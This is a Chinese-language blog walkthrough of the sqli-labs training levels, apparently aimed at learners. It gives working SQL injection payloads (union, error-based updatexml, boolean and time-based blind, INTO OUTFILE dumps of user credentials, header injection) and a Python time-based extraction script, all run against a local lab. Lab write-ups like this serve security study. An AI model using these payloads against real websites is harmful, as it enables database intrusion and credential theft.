sqli-labs闯关笔记

目录

1.less-2

2.less-3

3.less-4

4.less-5

5.less-6

6.less-7

7.less-8


1.less-2

通过这两个返回结果进行测试,可以发现是数字型注入

http://127.0.0.1:8085/sqli-labs/Less-2?id=1 and 1=2

http://127.0.0.1:8085/sqli-labs/Less-2?id=1 and 1=1

获取user(),可以看到是root权限,所以之后就是less-1中的老套路了,获取数据库名,获取列的数量,获取表名,列名。。。

2.less-3

这道题第一次没做出来,还是经验太少了,

http://127.0.0.1:8085/sqli-labs/Less-3?id=1'

报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

看出来这个报错后面多了一个括号,可以猜测这个比less1中多了一个括号需要闭合(当然是看过答案之后知道的结果)。

http://127.0.0.1:8085/sqli-labs/Less-3?id=1') and 1=2 union select 1,(select user()),3 --+

可以看出是root权限数据库

3.less-4

 通过访问url 

http://127.0.0.1:8085/sqli-labs/Less-4?id=1"

得到报错

You have an error in your SQL syntax; check the manual that corresponds to
 your MySQL server version for the right syntax to use 
near '"1"") LIMIT 0,1' at line 1

以后得到报错信息就主要关注于near '"1"") LIMIT 0,1' at这块,可以看出真正出错的地方是"1"") LIMIT 0,1,从"1"")可以推测出应该是双引号和括号闭合

http://127.0.0.1:8085/sqli-labs/Less-4?id=1") and 1=2 union select 1,(select user()),3 --+

4.less-5

通过正常访问放回的结果可以发现,他这里没有回显,但是如果出错的话,会进行报错,说明是报错注入

正常语句

http://127.0.0.1:8085/sqli-labs/Less-5?id=1

返回页面 

 错误语句

http://127.0.0.1:8085/sqli-labs/Less-5?id=1'

报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

所以就要用到报错注入的方法进行漏洞利用

http://127.0.0.1:8085/sqli-labs/Less-5?id=1' and 1=2 union select (updatexml(1,concat(0x3a,(select user())),1)) --+

之后报错

5.less-6

输入http://127.0.0.1:8085/sqli-labs/Less-6?id=1'

得到正确结果

输入:http://127.0.0.1:8085/sqli-labs/Less-6?id=1"

报错:

You have an error in your SQL syntax; check the manual that corresponds to
 your MySQL server version for the right syntax 
to use near '"1"" LIMIT 0,1' at line 1

可以确定其是用双引号闭合的报错注入类型

之后

http://127.0.0.1:8085/sqli-labs/Less-6?id=1" and 1=2 
union select (updatexml(1,concat(0x3a,(select user())),1)) --+

来进行查询

返回页面

说明一下,为啥单引号那里没有报错,sql语句是

SELECT * FROM users WHERE id="1'" 

这个语句能在数据库中得出正确结果

6.less-7

这道题通过测试测试出闭合语句是')),http://127.0.0.1:8085/sqli-labs/Less-7?id=1')) --+

这道题目提示让你使用文件读写功能,前提是需要又读写权限

查询是否有写入的权限

mysql> show global variables like '%secure_file_priv%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+
Value说明
NULL不允许导入或导出
/tmp只允许在 /tmp 目录导入导出
不限制目录

在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

这个修改之后才能进行读写操纵

?id=0')) union select version(),user(),database() into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\a.txt"--+

?id=0')) union select 1,2,table_name from information_schema.tables where table_schema='security' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\b.txt"--+


?id=0')) union select 1,2,column_name from information_schema.columns where table_name='users' into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\c.txt"--+


?id=0')) union select 1,username,password from users into outfile "D:\\phpstudy\\phpstudy_pro\\WWW\\sqli-labs\\Less-7\\d.txt"--+

这个less一直卡在设置读写权限,不知道为啥我的win上一直没有修改成功,所以就把这个记录在这里了。

7.less-8

这道题看出来没有报错啥的,就是啥信息都没有,看来只能布尔注入或者时间注入了

我用的是布尔注入方式,使用的是burp来当作爆破工具

首先是数据库名长度:

http://127.0.0.1:8085/sqli-labs/Less-8?id=1'and length(database()) > 8 --+

得到名字长度为8

其次是数据库名:

http://127.0.0.1:8085/sqli-labs/Less-8?id=1'and mid(database(),1,1)= 's' --+

之后开始爆破

 

结果:

 

 可以猜出数据库名了,其他的类似。

有一点值得注意的是,真实场景下,我觉得是不可能给你这么多爆破的机会的,ip应该早就被ban了。

8.less9

这道题说实话一开始测试了一会也没发现注入点,只是发现应该是盲注,因为不管sql语句是否正确他都会返回you  are  in没有任何不同,所以也就不能用bool注入了,看了看答案用的是时间注入。具体理解时间注入就是,你把sleep函数用上以后,只要时间有延长就说明存在时间注入

- 相关函数
	这一关需要用到一个if函数 
	IF(expr1,expr2,expr3) :既可以作为表达式用,也可在存储过程中作为流程控制语句使用
	expr1 是判断条件 ,成立执行expr2 不成立执行 expr3
	还有一个sleep(seconds) :执行延迟seconds秒

 通过改变length来判断数据库长度

1' and if(length(database())=1,sleep(0.1),1) #

可以自己手写python代码来进行判断,网上吵了一个。

这里的脚本使用了time函数库,经过检测,发现这个库比较精确。可以将延时时间设置为0.1 秒,可以精确判断
# less-9  基于时间的单引号注入
from urllib import request
from urllib import parse
from time import  time

url = "http://192.168.64.135/Less-9/?id="

#1 查数据库
database_length = 0
while True:
    param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
    t = time()
    response = request.urlopen(url + parse.quote(param))

    if ( time() - t > 0.1 ):
        print("DATABASE_LENGTH:"+str(database_length))
        break
    else:
        database_length += 1


db_name = ""
for l in range(database_length):
    for a in range(128):

        param = "1' and if(ascii(substr(database(),"  +  str(l+1) +  "))="  +  str(a) + ",sleep(0.1),1) #"
        t = time()
        response = request.urlopen(url + parse.quote(param))

        if (time()-t >0.1):
            db_name += chr(a)
            break
print("[*]:"+db_name)
————————————————
版权声明:本文为优快云博主「ST0new」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.youkuaiyun.com/wang_624/article/details/101913584

9.less10

和less9一样,只是闭合方式发生了改变,变成双引号进行闭合

http://127.0.0.1:8085/sqli-labs/Less-10/?id=1" and sleep(5) --+

 10.less-11

可以看的出来时post类型的注入。注意这里传值时用%23转义或者--+是不起作用的,因为账号密码传到后台并没有给你进行转义,所以直接输入#来注释就行。

尝试利用如下来进行注入

username:1' or 1=1 order by 1#

passwd:#

得到结果,注入成功。 

之后老套路,order by 查出只有两列,其实这里可以大概猜出不是用select *进行的查询,而是select username,password这样进行的查询。之后

username:1' or 1=2 union select database(),2 #

password:#

可以得到数据库名字,之后还是老套路获取其他内容。

 

11.less12

这个和less11一样,只不过是需要用")来闭合

具体的为

username:1") or 1=1 #

password:#

小tips,以后闭合多尝试:' 、  ')  、 ')) 、 " 、  ")  、  "")、

还有一个好用的小tips,就是利用转义字符来判断,利用转义字符\,比如?1\这种

12 less13

输入

username:1\

password:1\

报错

You have an error in your SQL syntax; check the manual that corresponds to
 your MySQL server version for the right syntax to use near '1\') LIMIT 0,1'
 at line 1

可以断定这个是报错注入,并且闭合方式是‘),之后就按照报错注入的套路来就行了。

13 less 14

还是利用1\进行测试可以测试出闭合类型为" 并且为报错注入

(看来转义字符这个小tips很好用啊)

14.less15

首先利用1\没有返回,说明不能使用报错注入和回显注入的套路来进行了,只能使用布尔注入或者时间注入了。其实这道题从原理上来讲,时间注入或者布尔注入都是可以的。

由于没有报错,闭合方式只能考猜了,用了下?id=1 or 1=1没有成功,之后利用?id=1’ or 1=1成功了,说明闭合方式是分号。

15.less16

原理和less15类似,并没有报错回显,通过猜测常用的闭合方式得知闭合方式是")

所以注入语句为:1") or 1=1 #

登陆成功!

16.less17

这道题是updata类型的注入,通过看源码看出他对username进行了过滤,所以注入点只能从password中找了,而且这道题你还得先知道一个username才能进行注入。

具体注入参数如下

uname=admin&passwd=1' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)#&submit=Submit

17.less18

这道题通过阅读代码发现,是利用user-agent进行的注入,并且是报错注入,有一点比较奇怪的是代码中用$_SERVER['REMOTE_ADDR'];来获取地址,我不知道修改哪里才能改变这个值,所以这个注入点就利用不上,只能使用user-agent

' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) and '1'='1 // 查询版本信息

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值